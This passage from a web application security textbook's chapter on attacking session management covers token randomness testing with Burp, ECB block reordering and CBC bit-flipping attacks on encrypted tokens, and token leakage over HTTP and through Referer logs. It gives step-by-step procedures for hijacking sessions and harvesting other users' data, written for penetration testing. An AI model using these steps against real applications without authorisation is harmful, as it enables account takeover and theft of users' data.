size that Burp requires is 100 tokens, but ideally you should obtain a much larger sample than this. If the analysis of a few hundred tokens shows conclusively that the tokens fail the randomness tests, you may reasonably decide that it is unnecessary to capture further tokens. Otherwise, you should continue capturing tokens and re-perform the analysis periodically. If you capture 5,000 tokens that are shown to pass the randomness tests, you may decide that this is suffi cient. However, to achieve compliance with the formal FIPS tests for randomness, you need to obtain a sample of 20,000 tokens. This is the largest sample size that Burp supports. Burp Sequencer performs the statistical tests at character level and bit level. The results of all tests are aggregated to give an overall estimate of the number c07.indd 220c07.indd 220 8/19/2011 12:07:40 PM8/19/2011 12:07:40 PMStuttard c07.indd V3 - 07/22/2011 Page 221 Chapter 7 Attacking Session Management 221 of bits of effective entropy within the token; this the key result to consider. However, you can also drill down into the results of each test to understand exactly how and why different parts of the token passed or failed each test, as shown in Figure 7-3. The methodology used for each type of test is described beneath the test results. Figure 7-3: Analyzing the Burp Sequencer results to understand the properties of the tokens that were tested Note that Burp performs all tests individually on each character and bit of data within the token. In many cases, you will fi nd that large parts of a structured token are not random; this in itself may not present any kind of weakness. What matters is that the token contains a suffi cient number of bits that do pass the randomness tests. For example, if a large token contains 1,000 bits of informa- tion, and only 50 of these bits pass the randomness tests, the token as a whole is no less robust than a 50-bit token that fully passes the tests. c07.indd 221c07.indd 221 8/19/2011 12:07:40 PM8/19/2011 12:07:40 PMStuttard c07.indd V3 - 07/22/2011 Page 222 222 Chapter 7 Attacking Session Management NOTE Keep in mind two important caveats when performing statisti- cal tests for randomness. These caveats affect the correct interpretation of the test results and their consequences for the application’s security pos- ture. First, tokens that are generated in a completely deterministic way may pass the statistical tests for randomness. For example, a linear congruential pseudorandom number generator, or an algorithm that computes the hash of a sequential number, may produce output that passes the tests. Yet an attacker who knows the algorithm and the internal state of the generator can extrapolate its output with complete reliability in both forward and reverse directions. Second, tokens that fail the statistical tests for randomness may not actu- ally be predictable in any practical situation. If a given bit of a token fails the tests, this means only that the sequence of bits observed at that position con- tains characteristics that are unlikely to occur in a genuinely random token. But attempting to predict the value of that bit in the next token, based on the observed characteristics, may be little more reliable than blind guesswork. Multiplying this unreliability across a large number of bits that need to be predicted simultaneously may mean that the probability of making a correct prediction is extremely low. HACK STEPS 1. Determine when and how session tokens are issued by walking through the application from the first application page through any login func- tions. Two behaviors are common: The application creates a new session anytime a request is received that does not submit a token. The application creates a new session following a successful login. To harvest large numbers of tokens in an automated way, ideally identify a single request (typically either GET / or a login submission) that causes a new token to be issued. 2. In Burp Suite, send the request that creates a new session to Burp Sequencer, and configure the token’s location. Then start a live capture to gather as many tokens as is feasible. If a custom session management mechanism is in use, and you only have remote access to the application, gather the tokens as quickly as possible to minimize the loss of tokens issued to other users and reduce the influence of any time dependency. 3. If a commercial session management mechanism is in use and/or you have local access to the application, you can obtain indefinitely large sequences of session tokens in controlled conditions. c07.indd 222c07.indd 222 8/19/2011 12:07:41 PM8/19/2011 12:07:41 PMStuttard c07.indd V3 - 07/22/2011 Page 223 Chapter 7 Attacking Session Management 223 4. While Burp Sequencer is capturing tokens, enable the “auto analyse” set- ting so that Burp automatically performs the statistical analysis periodi- cally. Collect at least 500 tokens before reviewing the results in any detail. If a sufficient number of bits within the token have passed the tests, continue gathering tokens for as long as is feasible, reviewing the analysis results as further tokens are captured. 5. If the tokens fail the randomness tests and appear to contain patterns that could be exploited to predict future tokens, reperform the exercise from a different IP address and (if relevant) a different username. This will help you identify whether the same pattern is detected and whether tokens received in the first exercise could be extrapolated to identify tokens received in the second. Sometimes the sequence of tokens cap- tured by one user manifests a pattern. But this will not allow straight- forward extrapolation to the tokens issued to other users, because information such as source IP is used as a source of entropy (such as a seed to a random number generator). 6. If you believe you have enough insight into the token generation algo- rithm to mount an automated attack against other users’ sessions, it is likely that the best means of achieving this is via a customized script. This can generate tokens using the specific patterns you have observed and apply any necessary encoding. See Chapter 14 for some generic tech- niques for applying automation to this type of problem. 7. If source code is available, closely review the code responsible for gener- ating session tokens to understand the mechanism used and determine whether it is vulnerable to prediction. If entropy is drawn from data that can be determined within the application within a brute-forcible range, consider the practical number of requests that would be needed to brute- force an application token. TRY IT! http://mdsec.net/auth/361/ Encrypted Tokens Some applications use tokens that contain meaningful information about the user and seek to avoid the obvious problems that this entails by encrypting the tokens before they are issued to users. Since the tokens are encrypted using a secret key that is unknown to users, this appears to be a robust approach, because users will be unable to decrypt the tokens and tamper with their contents. c07.indd 223c07.indd 223 8/19/2011 12:07:41 PM8/19/2011 12:07:41 PMStuttard c07.indd V3 - 07/22/2011 Page 224 224 Chapter 7 Attacking Session Management However, in some situations, depending on the encryption algorithm used and the manner in which the application processes the tokens, it may nonetheless be possible for users to tamper with the tokens’ meaningful contents without actu- ally decrypting them. Bizarre as it may sound, these are actually viable attacks that are sometimes easy to deliver, and numerous real-world applications have proven vulnerable to them. The kinds of attacks that are applicable depend on the exact cryptographic algorithm that is being used. ECB Ciphers Applications that employ encrypted tokens use a symmetric encryption algorithm so that tokens received from users can be decrypted to recover their meaningful contents. Some symmetric encryption algorithms use an “electronic codebook” (ECB) cipher. This type of cipher divides plaintext into equal-sized blocks (such as 8 bytes each) and encrypts each block using the secret key. During decryp- tion, each block of ciphertext is decrypted using the same key to recover the original block of plaintext. One feature of this method is that patterns within the plaintext can result in patterns within the ciphertext, because identical blocks of plaintext will be encrypted into identical blocks of ciphertext. For some types of data, such as bitmap images, this means that meaningful information from the plaintext can be discerned within the ciphertext, as illustrated in Figure 7-4. Figure 7-4: Patterns within plaintext that is encrypted using an ECB cipher may be visible within the resulting ciphertext. In spite of this shortcoming with ECB, these ciphers are often used for encrypt- ing information within web applications. Even in situations where the problem of patterns within plaintext does not arise, vulnerabilities can still exist. This is because of the cipher’s behavior of encrypting identical plaintext blocks into identical ciphertext blocks. Consider an application whose tokens contain several different meaningful components, including a numeric user identifi er: rnd=2458992;app=iTradeEUR_1;uid=218;username=dafydd;time=634430423694715 000; c07.indd 224c07.indd 224 8/19/2011 12:07:41 PM8/19/2011 12:07:41 PMStuttard c07.indd V3 - 07/22/2011 Page 225 Chapter 7 Attacking Session Management 225 When this token is encrypted, it is apparently meaningless and is likely to pass all standard statistical tests for randomness: 68BAC980742B9EF80A27CBBBC0618E3876FF3D6C6E6A7B9CB8FCA486F9E11922776F0307 329140AABD223F003A8309DDB6B970C47BA2E249A0670592D74BCD07D51A3E150EFC2E69 885A5C8131E4210F The ECB cipher being employed operates on 8-byte blocks of data, and the blocks of plaintext map to the corresponding blocks of ciphertext as follows: rnd=2458 68BAC980742B9EF8 992;app= 0A27CBBBC0618E38 iTradeEU 76FF3D6C6E6A7B9C R_1;uid= B8FCA486F9E11922 218;user 776F0307329140AA name=daf BD223F003A8309DD ydd;time B6B970C47BA2E249 =6344304 A0670592D74BCD07 23694715 D51A3E150EFC2E69 000; 885A5C8131E4210F Now, because each block of ciphertext will always decrypt into the same block of plaintext, it is possible for an attacker to manipulate the sequence of ciphertext blocks so as to modify the corresponding plaintext in meaning- ful ways. Depending on how exactly the application processes the resulting decrypted token, this may enable the attacker to switch to a different user or escalate privileges. For example, if the second block is duplicated following the fourth block, the sequence of blocks will be as follows: rnd=2458 68BAC980742B9EF8 992;app= 0A27CBBBC0618E38 iTradeEU 76FF3D6C6E6A7B9C R_1;uid= B8FCA486F9E11922 992;app= 0A27CBBBC0618E38 218;user 776F0307329140AA name=daf BD223F003A8309DD ydd;time B6B970C47BA2E249 =6344304 A0670592D74BCD07 23694715 D51A3E150EFC2E69 000; 885A5C8131E4210F The decrypted token now contains a modifi ed uid value, and also a duplicated app value. Exactly what happens depends on how the application processes the decrypted token. Often, applications using tokens in this way inspect only certain parts of the decrypted token, such as the user identifi er. If the applica- tion behaves like this, then it will process the request in the context of the user who has a uid of 992, rather than the original 218. c07.indd 225c07.indd 225 8/19/2011 12:07:41 PM8/19/2011 12:07:41 PMStuttard c07.indd V3 - 07/22/2011 Page 226 226 Chapter 7 Attacking Session Management The attack just described would depend on being issued with a suitable rnd value that corresponds to a valid uid value when the blocks are manipulated. An alternative and more reliable attack would be to register a username con- taining a numeric value at the appropriate offset, and duplicate this block so as to replace the existing uid value. Suppose you register the username daf1, and are issued with the following token: 9A5A47BF9B3B6603708F9DEAD67C7F4C76FF3D6C6E6A7B9CB8FCA486F9E11922A5BC430A 73B38C14BD223F003A8309DDF29A5A6F0DC06C53905B5366F5F4684C0D2BBBB08BD834BB ADEBC07FFE87819D The blocks of plaintext and ciphertext for this token are as follows: rnd=9224 9A5A47BF9B3B6603 856;app= 708F9DEAD67C7F4C iTradeEU 76FF3D6C6E6A7B9C R_1;uid= B8FCA486F9E11922 219;user A5BC430A73B38C14 name=daf BD223F003A8309DD 1;time=6 F29A5A6F0DC06C53 34430503 905B5366F5F4684C 61065250 0D2BBBB08BD834BB 0; ADEBC07FFE87819D If you then duplicate the seventh block following the fourth block, your decrypted token will contain a uid value of 1: rnd=9224 9A5A47BF9B3B6603 856;app= 708F9DEAD67C7F4C iTradeEU 76FF3D6C6E6A7B9C R_1;uid= B8FCA486F9E11922 1;time=6 F29A5A6F0DC06C53 219;user A5BC430A73B38C14 name=daf BD223F003A8309DD 1;time=6 F29A5A6F0DC06C53 34430503 905B5366F5F4684C 61065250 0D2BBBB08BD834BB 0; ADEBC07FFE87819D By registering a suitable range of usernames and reperforming this attack, you could potentially cycle through the entire range of valid uid values, and so masquerade as every user of the application. TRY IT! http://mdsec.net/auth/363/ c07.indd 226c07.indd 226 8/19/2011 12:07:41 PM8/19/2011 12:07:41 PMStuttard c07.indd V3 - 07/22/2011 Page 227 Chapter 7 Attacking Session Management 227 CBC Ciphers The shortcomings in ECB ciphers led to the development of cipher block chaining (CBC) ciphers. With a CBC cipher, before each block of plaintext is encrypted it is XORed against the preceding block of ciphertext, as shown in Figure 7-5. This prevents identical plaintext blocks from being encrypted into identical ciphertext blocks. During decryption, the XOR operation is applied in reverse, and each decrypted block is XORed against the preceding block of ciphertext to recover the original plaintext. Figure 7-5: In a CBC cipher, each block of plaintext is XORed against the preceding block of ciphertext before being encrypted. Block Cipher Encryption Block Cipher Encryption Block Cipher Encryption Ciphertext Ciphertext Ciphertext Key Initialization Vector (IV) Plaintext Plaintext Plaintext Key Key Because CBC ciphers avoid some of the problems with ECB ciphers, standard symmetric encryption algorithms such as DES and AES frequently are used in CBC mode. However, the way in which CBC-encrypted tokens are often employed in web applications means that an attacker may be able to manipulate parts of the decrypted tokens without knowing the secret key. Consider a variation on the preceding application whose tokens contain several different meaningful components, including a numeric user identifi er: rnd=191432758301;app=eBankProdTC;uid=216;time=6343303; As before, when this information is encrypted, it results in an apparently mean- ingless token: 0FB1F1AFB4C874E695AAFC9AA4C2269D3E8E66BBA9B2829B173F255D447C51321586257C 6E459A93635636F45D7B1A43163201477 Because this token is encrypted using a CBC cipher, when the token is decrypted, each block of ciphertext is XORed against the following block of decrypted text to obtain the plaintext. Now, if an attacker modifi es parts of the ciphertext (the token he received), this causes that specifi c block to decrypt into junk. However, it also causes the following block of decrypted text to be XORed against a different c07.indd 227c07.indd 227 8/19/2011 12:07:41 PM8/19/2011 12:07:41 PMStuttard c07.indd V3 - 07/22/2011 Page 228 228 Chapter 7 Attacking Session Management value, resulting in modifi ed but still meaningful plaintext. In other words, by manipulating a single individual block of the token, the attacker can systemati- cally modify the decrypted contents of the block that follows it. Depending on how the application processes the resulting decrypted token, this may enable the attacker to switch to a different user or escalate privileges. Let’s see how. In the example described, the attacker works through the encrypted token, changing one character at a time in arbitrary ways and send- ing each modifi ed token to the application. This involves a large number of requests. The following is a selection of the values that result when the applica- tion decrypts each modifi ed token: ????????32858301;app=eBankProdTC;uid=216;time=6343303; ????????32758321;app=eBankProdTC;uid=216;time=6343303; rnd=1914????????;aqp=eBankProdTC;uid=216;time=6343303; rnd=1914????????;app=eAankProdTC;uid=216;time=6343303; rnd=191432758301????????nkPqodTC;uid=216;time=6343303; rnd=191432758301????????nkProdUC;uid=216;time=6343303; rnd=191432758301;app=eBa????????;uie=216;time=6343303; rnd=191432758301;app=eBa????????;uid=226;time=6343303; rnd=191432758301;app=eBankProdTC????????;timd=6343303; rnd=191432758301;app=eBankProdTC????????;time=6343503; In each case, the block that the attacker has modifi ed decrypts into junk, as expected (indicated by ????????). However, the following block decrypts into meaningful text that differs slightly from the original token. As already described, this difference occurs because the decrypted text is XORed against the preced- ing block of ciphertext, which the attacker has slightly modifi ed. Although the attacker does not see the decrypted values, the application attempts to process them, and the attacker sees the results in the application’s responses. Exactly what happens depends on how the application handles the part of the decrypted token that has been corrupted. If the application rejects tokens containing any invalid data, the attack fails. Often, however, applica- tions using tokens in this way inspect only certain parts of the decrypted token, such as the user identifi er. If the application behaves like this, then the eighth example shown in the preceding list succeeds, and the application processes the request in the context of the user who has a uid of 226, rather than the original 216. You can easily test applications for this vulnerability using the “bit fl ip- per” payload type in Burp Intruder. First, you need to log in to the applica- tion using your own account. Then you fi nd a page of the application that depends on a logged-in session and shows the identity of the logged-in user within the response. Typically, the user’s home landing page or account details page serves this purpose. Figure 7-6 shows Burp Intruder set up to target the user’s home page, with the encrypted session token marked as a payload position. c07.indd 228c07.indd 228 8/19/2011 12:07:41 PM8/19/2011 12:07:41 PMStuttard c07.indd V3 - 07/22/2011 Page 229 Chapter 7 Attacking Session Management 229 Figure 7-6: Configuring Burp Intruder to modify an encrypted session token Figure 7-7 shows the required payload confi guration. It tells Burp to oper- ate on the token’s original value, treating it as ASCII-encoded hex, and to fl ip each bit at each character position. This approach is ideal because it requires a relatively small number of requests (eight requests per byte of data in the token) and almost always identifi es whether the application is vulnerable. This allows you to use a more focused attack to perform actual exploitation. When the attack is executed, the initial requests do not cause any noticeable change in the application’s responses, and the user’s session is still intact. This is interesting in itself, because it indicates that the fi rst part of the token is not being used to identify the logged-in user. Many of the requests later in the attack cause a redirection to the login page, indicating that modifi cation has invali- dated the token in some way. Crucially, there is also a run of requests where the response appears to be part of a valid session but is not associated with the original user identity. This corresponds to the block of the token that contains the uid value. In some cases, the application simply displays “unknown user,” indicating that the modifi ed uid did not correspond to an actual user, and so the attack failed. In other cases, it shows the name of a different registered user of the application, proving conclusively that the attack has succeeded. Figure 7-8 shows the results of the attack. Here we have defi ned an extract grep column to display the identity of the logged-in user and have set a fi lter to hide the responses that are redirections to the login page. c07.indd 229c07.indd 229 8/19/2011 12:07:41 PM8/19/2011 12:07:41 PMStuttard c07.indd V3 - 07/22/2011 Page 230 230 Chapter 7 Attacking Session Management Figure 7-7: Configuring Burp Intruder to flip each bit in the encrypted token Figure 7-8: A successful bit flipping attack against an encrypted token c07.indd 230c07.indd 230 8/19/2011 12:07:42 PM8/19/2011 12:07:42 PMStuttard c07.indd V3 - 07/22/2011 Page 231 Chapter 7 Attacking Session Management 231 Having identifi ed the vulnerability, you can proceed to exploit it with a more focused attack. To do this, you would determine from the results exactly which block of the encrypted token is being tampered with when the user context changes. Then you would deliver an attack that tests numerous further val- ues within this block. You could use the numbers payload type within Burp Intruder to do this. TRY IT! http://mdsec.net/auth/365/ NOTE Some applications use the technique of encrypting meaningful data within request parameters more generally in an attempt to prevent tampering of data, such as the prices of shopping items. In any location where you see apparently encrypted data that plays a key role in application functionality, you should try the bit-fl ipping technique to see whether you can manipulate the encrypted information in a meaningful way to interfere with application logic. In seeking to exploit the vulnerability described in this section, your objec- tive would of course be to masquerade as different application users — ideally an administrative user with higher privileges. If you are restricted to blindly manipulating parts of an encrypted token, this may require a degree of luck. However, in some cases the application may give you more assistance. When an application employs symmetric encryption to protect data from tampering by users, it is common for the same encryption algorithm and key to be used throughout the application. In this situation, if any application function discloses to the user the decrypted value of an arbitrary encrypted string, this can be leveraged to fully decrypt any item of protected information. One application observed by the authors contained a fi le upload/download function. Having uploaded a fi le, users were given a download link containing a fi lename parameter. To prevent various attacks that manipulate fi le paths, the application encrypted the fi lename within this parameter. However, if a user requested a fi le that had been deleted, the application displayed an error mes- sage showing the decrypted name of the requested fi le. This behavior could be leveraged to fi nd the plaintext value of any encrypted string used within the application, including the values of session tokens. The session tokens were found to contain various meaningful values in a structured format that was vulnerable to the type of attack described in this section. Because these values included textual usernames and application roles, rather than numeric identi- fi ers, it would have been extremely diffi cult to perform a successful exploit using only blind bit fl ipping. However, using the fi lename decryptor function, it was possible to systematically manipulate bits of a token while viewing the results. c07.indd 231c07.indd 231 8/19/2011 12:07:42 PM8/19/2011 12:07:42 PMStuttard c07.indd V3 - 07/22/2011 Page 232 232 Chapter 7 Attacking Session Management This allowed the construction of a token that, when decrypted, specifi ed a valid user and administrative role, enabling full control of the application. NOTE Other techniques may allow you to decrypt encrypted data used by the application. A “reveal” encryption oracle can be abused to obtain the cleartext value of an encrypted token. Although this can be a signifi cant vulnerability when decrypting a password, decrypting a session token does not provide an immediate means of compromising other users’ sessions. Nevertheless, the decrypted token provides useful insight into the cleartext structure, which is useful in conducting a targeted bit-fl ipping attack. See Chapter 11 for more details about “reveal” encryption oracle attacks. Side channel attacks against padding oracles may be used to compromise encrypted tokens. See Chapter 18 for more details. HACK STEPS In many situations where encrypted tokens are used, actual exploitability may depend on various factors, including the offsets of block boundaries relative to the data you need to attack, and the application’s tolerance of the changes that you cause to the surrounding plaintext structure. Working completely blind, it may appear diffi cult to construct an effective attack, however in many situations this is in fact possible. 1. Unless the session token is obviously meaningful or sequential in itself, always consider the possibility that it might be encrypted. You can often identify that a block-based cipher is being used by registering several dif- ferent usernames and adding one character in length each time. If you find a point where adding one character results in your session token jumping in length by 8 or 16 bytes, then a block cipher is probably being used. You can confirm this by continuing to add bytes to your username, and looking for the same jump occurring 8 or 16 bytes later. 2. ECB cipher manipulation vulnerabilities are normally difficult to identify and exploit in a purely black-box context. You can try blindly duplicat- ing and moving the ciphertext blocks within your token, and reviewing whether you remain logged in to the application within your own user context, or that of another user, or none at all. 3. You can test for CBC cipher manipulation vulnerabilities by running a Burp Intruder attack over the whole token, using the “bit flipping” payload source. If the bit flipping attack identifies a section within the token, the manipulation of which causes you to remain in a valid session, but as a different or nonexistent user, perform a more focused attack on just this section, trying a wider range of values at each position. c07.indd 232c07.indd 232 8/19/2011 12:07:42 PM8/19/2011 12:07:42 PMStuttard c07.indd V3 - 07/22/2011 Page 233 Chapter 7 Attacking Session Management 233 4. During both attacks, monitor the application’s responses to identify the user associated with your session following each request, and try to exploit any opportunities for privilege escalation that may result. 5. If your attacks are unsuccessful, but it appears from step 1 that variable- length input that you control is being incorporated into the token, you should try generating a series of tokens by adding one character at a time, at least up to the size of blocks being used. For each resulting token, you should reperform steps 2 and 3. This will increase the chance that the data you need to modify is suitably aligned with block boundaries for your attack to succeed. Weaknesses in Session Token Handling No matter how effective an application is at ensuring that the session tokens it generates do not contain any meaningful information and are not susceptible to analysis or prediction, its session mechanism will be wide open to attack if those tokens are not handled carefully after generation. For example, if tokens are disclosed to an attacker via some means, the attacker can hijack user ses- sions even if predicting the tokens is impossible. An application’s unsafe handling of tokens can make it vulnerable to attack in several ways. COMMON MYTH “Our token is secure from disclosure to third parties because we use SSL.” Proper use of SSL certainly helps protect session tokens from being cap- tured. But various mistakes can still result in tokens being transmitted in cleartext even when SSL is in place. And various direct attacks against end users can be used to obtain their tokens. COMMON MYTH “Our token is generated by the platform using mature, cryptographically sound technologies, so it is not vulnerable to compromise.” An application server’s default behavior is often to create a session cookie when the user fi rst visits the site and to keep this available for the user’s entire interaction with the site. As described in the following sections, this may lead to various security vulnerabilities in how the token is handled. c07.indd 233c07.indd 233 8/19/2011 12:07:42 PM8/19/2011 12:07:42 PMStuttard c07.indd V3 - 07/22/2011 Page 234 234 Chapter 7 Attacking Session Management Disclosure of Tokens on the Network This area of vulnerability arises when the session token is transmitted across the network in unencrypted form, enabling a suitably positioned eavesdropper to obtain the token and therefore masquerade as the legitimate user. Suitable positions for eavesdropping include the user’s local network, within the user’s IT department, within the user’s ISP, on the Internet backbone, within the application’s ISP, and within the IT department of the organization hosting the application. In each case, this includes both authorized personnel of the relevant organization and any external attackers who have compromised the infrastructure concerned. In the simplest case, where an application uses an unencrypted HTTP connec- tion for communications, an attacker can capture all data transmitted between client and server, including login credentials, personal information, payment details, and so on. In this situation, an attack against the user’s session is often unnecessary because the attacker can already view privileged information and can log in using captured credentials to perform other malicious actions. However, there may still be instances where the user’s session is the primary target. For example, if the captured credentials are insuffi cient to perform a second login (for example, in a banking application, they may include a number displayed on a changing physical token, or specifi c digits from the user’s PIN), the attacker may need to hijack the eavesdropped session to perform arbitrary actions. Or if logins are audited closely, and the user is notifi ed of each suc- cessful login, an attacker may want to avoid performing his own login to be as stealthy as possible. In other cases, an application may use HTTPS to protect key client-server communications yet may still be vulnerable to interception of session tokens on the network. This weakness may occur in various ways, many of which can arise specifi cally when HTTP cookies are used as the transmission mechanism for session tokens: Some applications elect to use HTTPS to protect the user’s credentials during login but then revert to HTTP for the remainder of the user’s ses- sion. Many web mail applications behave in this way. In this situation, an eavesdropper cannot intercept the user’s credentials but may still capture the session token. The Firesheep tool, released as a plug-in for Firefox, makes this an easy process. Some applications use HTTP for preauthenticated areas of the site, such as the site’s front page, but switch to HTTPS from the login page onward. However, in many cases the user is issued a session token at the fi rst page visited, and this token is not modifi ed when the user logs in. The user’s session, which is originally unauthenticated, is upgraded to an authenti- cated session after login. In this situation an eavesdropper can intercept a user’s token before login, wait for the user’s communications to switch to c07.indd 234c07.indd 234 8/19/2011 12:07:42 PM8/19/2011 12:07:42 PMStuttard c07.indd V3 - 07/22/2011 Page 235 Chapter 7 Attacking Session Management 235 HTTPS, indicating that the user is logging in, and then attempt to access a protected page (such as My Account) using that token. Even if the application issues a fresh token following successful login, and uses HTTPS from the login page onward, the token for the user’s authenticated session may still be disclosed. This can happen if the user revisits a preauthentication page (such as Help or About), either by fol- lowing links within the authenticated area, by using the back button, or by typing the URL directly. In a variation on the preceding case, the application may attempt to switch to HTTPS when the user clicks the Login link. However, it may still accept a login over HTTP if the user modifi es the URL accordingly. In this situa- tion, a suitably positioned attacker can modify the pages returned in the preauthenticated areas of the site so that the Login link points to an HTTP page. Even if the application issues a fresh session token after success- ful login, the attacker may still intercept this token if he has successfully downgraded the user’s connection to HTTP. Some applications use HTTP for all static content within the application, such as images, scripts, style sheets, and page templates. This behavior is often indicated by a warning within the user’s browser, as shown in Figure 7-9. When a browser shows this warning, it has already retrieved the relevant item over HTTP, so the session token has already been trans- mitted. The purpose of the browser’s warning is to let the user decline to process response data that has been received over HTTP and so may be tainted. As described previously, an attacker can intercept the user’s session token when the user’s browser accesses a resource over HTTP and use this token to access protected, nonstatic areas of the site over HTTPS. Figure 7-9: Browsers present a warning when a page accessed over HTTPS contains items accessed over HTTP. Even if an application uses HTTPS for every page, including unauthenti- cated areas of the site and static content, there may still be circumstances in which users’ tokens are transmitted over HTTP. If an attacker can somehow induce a user to make a request over HTTP (either to the HTTP c07.indd 235c07.indd 235 8/19/2011 12:07:42 PM8/19/2011 12:07:42 PMStuttard c07.indd V3 - 07/22/2011 Page 236 236 Chapter 7 Attacking Session Management service on the same server if one is running or to http://server:443/ otherwise), his token may be submitted. Means by which the attacker may attempt this include sending the user a URL in an e-mail or instant message, placing autoloading links into a website the attacker controls, or using clickable banner ads. (See Chapters 12 and 13 for more details about techniques of this kind for delivering attacks against other users.) HACK STEPS 1. Walk through the application in the normal way from first access (the “start” URL), through the login process, and then through all of the appli- cation’s functionality. Keep a record of every URL visited, and note every instance in which a new session token is received. Pay particular atten- tion to login functions and transitions between HTTP and HTTPS com- munications. This can be achieved manually using a network sniffer such as Wireshark or partially automated using the logging functions of your intercepting proxy, as shown in Figure 7-10. Figure 7-10: Walking through an application to identify locations where new session tokens are received. 2. If HTTP cookies are being used as the transmission mechanism for session tokens, verify whether the secure flag is set, preventing them from ever being transmitted over unencrypted connections. 3. Determine whether, in the normal use of the application, session tokens are ever transmitted over an unencrypted connection. If so, they should be regarded as vulnerable to interception. 4. Where the start page uses HTTP, and the application switches to HTTPS for the login and authenticated areas of the site, verify whether a new token is issued following login, or whether a token transmitted during the HTTP stage is still being used to track the user’s authenticated session. Also verify whether the application will accept login over HTTP if the login URL is modified accordingly. c07.indd 236c07.indd 236 8/19/2011 12:07:43 PM8/19/2011 12:07:43 PMStuttard c07.indd V3 - 07/22/2011 Page 237 Chapter 7 Attacking Session Management 237 5. Even if the application uses HTTPS for every page, verify whether the server is also listening on port 80, running any service or content. If so, visit any HTTP URL directly from within an authenticated session, and verify whether the session token is transmitted. 6. In cases where a token for an authenticated session is transmitted to the server over HTTP, verify whether that token continues to be valid or is immediately terminated by the server. TRY IT! http://mdsec.net/auth/369/ http://mdsec.net/auth/372/ http://mdsec.net/auth/374/ Disclosure of Tokens in Logs Aside from the clear-text transmission of session tokens in network communica- tions, the most common place where tokens are simply disclosed to unauthorized view is in system logs of various kinds. Although it is a rarer occurrence, the consequences of this kind of disclosure are usually more serious. Those logs may be viewed by a far wider range of potential attackers, not just by someone who is suitably positioned to eavesdrop on the network. Many applications provide functionality for administrators and other sup- port personnel to monitor and control aspects of the application’s runtime state, including user sessions. For example, a helpdesk worker assisting a user who is having problems may ask for her username, locate her current session through a list or search function, and view relevant details about the session. Or an administrator may consult a log of recent sessions in the course of investigat- ing a security breach. Often, this kind of monitoring and control functionality discloses the actual session token associated with each session. And often, the functionality is poorly protected, allowing unauthorized users to access the list of current session tokens, and thereby hijack the sessions of all application users. The other main cause of session tokens appearing in system logs is where an application uses the URL query string as a mechanism for transmitting tokens, as opposed to using HTTP cookies or the body of POST requests. For example, Googling inurl:jsessionid identifi es thousands of applications that transmit the Java platform session token (called jsessionid) within the URL: http://www.webjunction.org/do/Navigation;jsessionid= F27ED2A6AAE4C6DA409A3044E79B8B48?category=327 c07.indd 237c07.indd 237 8/19/2011 12:07:43 PM8/19/2011 12:07:43 PMStuttard c07.indd V3 - 07/22/2011 Page 238 238 Chapter 7 Attacking Session Management When applications transmit their session tokens in this way, it is likely that their session tokens will appear in various system logs to which unauthorized parties may have access: Users’ browser logs Web server logs Logs of corporate or ISP proxy servers Logs of any reverse proxies employed within the application’s hosting environment The Referer logs of any servers that application users visit by following off-site links, as shown in Figure 7-11 Some of these vulnerabilities arise even if HTTPS is used throughout the application. Figure 7-11: When session tokens appear in URLs, these are transmitted in the Referer header when users follow an off-site link or their browser loads an off- site resource. The fi nal case just described presents an attacker with a highly effective means of capturing session tokens in some applications. For example, if a web mail application transmits session tokens within the URL, an attacker can send e-mails to users of the application containing a link to a web server he controls. If any user accesses the link (because she clicks it, or because her browser loads images contained within HTML-formatted e-mail), the attacker receives, in real time, the user’s session token. The attacker can run a simple script on his server to hijack the session of every token received and c07.indd 238c07.indd 238 8/19/2011 12:07:43 PM8/19/2011 12:07:43 PMStuttard c07.indd V3 - 07/22/2011 Page 239 Chapter 7 Attacking Session Management 239 perform some malicious action, such as send spam e-mail, harvest personal information, or change passwords. NOTE Current versions of Internet Explorer do not include a Referer header when following off-site links contained in a page that was accessed over HTTPS. In this situation, Firefox includes the Referer header provided that the off-site link is also being accessed over HTTPS, even if it belongs to a differ- ent domain. Hence, sensitive data placed in URLs is vulnerable to leakage in Referer logs even where SSL is being used. HACK STEPS 1. Identify all the functionality within the application, and locate any log- ging or monitoring functions where session tokens can be viewed. Verify who can access this functionality–for example, administrators, any authenticated user, or any anonymous user. See Chapter 4 for techniques for discovering hidden content that is not directly linked from the main application. 2. Identify any instances within the application where session tokens are transmitted within the URL. It may be that tokens are generally transmit- ted in a more secure manner but that developers have used the URL in specific cases to work around particular difficulties. For example, this behavior is often observed where a web application interfaces with an external system. 3. If session tokens are being transmitted in URLs, attempt to find any appli- cation functionality that enables you to inject arbitrary off-site links into pages viewed by other users. Examples include functionality implement- ing a message board, site feedback, question-and-answer, and so on. If so, submit links to a web server you control and wait to see whether any users’ session tokens are received in your Referer logs. 4. If any session tokens are captured, attempt to hijack user sessions by using the application as normal but substituting a captured token for your own. You can do this by intercepting the next response from the server and adding a Set-Cookie header of your own with the captured cookie value. In Burp, you can apply a single Suite-wide configuration that sets a specific cookie in all requests to the target application to allow easy switching between different session contexts during testing. 6. If a large number of tokens are captured, and session hijacking allows you to access sensitive data such as personal details, payment information, or user passwords, you can use the automated techniques described in Chapter 14 to harvest all desired data belonging to other application users. c07.indd 239c07.indd 239 8/19/2011 12:07:43 PM8/19/2011 12:07:43 PMStuttard c07.indd V3 - 07/22/2011 Page 240 240 Chapter 7 Attacking Session Management TRY IT! http://mdsec.net/auth/379/ Vulnerable Mapping of Tokens to Sessions Various common vulnerabilities in session management mechanisms arise because of weaknesses in how the application maps the creation and processing of session tokens to individual users’ sessions themselves. The simplest weakness is to allow multiple valid tokens to be concurrently assigned to the same user account. In virtually every application, there is no legitimate reason why any user should have more than one session active at one time. Of course, it is fairly common for a user to abandon an active session and start a new one — for example, because he closes a browser window or moves to a different computer. But if a user appears to be using two different sessions simultaneously, this usually indicates that a security compromise has occurred: either the user has disclosed his credentials to another party, or an attacker has obtained his credentials through some other means. In both cases, permitting concurrent sessions is undesirable, because it allows users to persist in undesirable practices without inconvenience and because it allows an attacker to use captured credentials without risk of detection. A related but distinct weakness is for applications to use “static” tokens. These look like session tokens and may initially appear to function like them, but in fact they are no such thing. In these applications, each user is assigned a token, and this same token is reissued to the user every time he logs in. The application always accepts the token as valid regardless of whether the user has recently logged in and been issued with it. Applications like this really involve a misunderstanding about the whole concept of what a session is, and the benefi ts it provides for managing and controlling access to the application. Sometimes, applications operate like this as a means of implementing poorly designed “remember me” functionality, and the static token is accordingly stored in a persistent cookie (see Chapter 6). Sometimes the tokens themselves are vulnerable to prediction attacks, making the vulnerability far more serious. Rather than compromising the sessions of currently logged-in users, a successful attack compromises, for all time, the accounts of all registered users. Other kinds of strange application behavior are also occasionally observed that demonstrate a fundamental 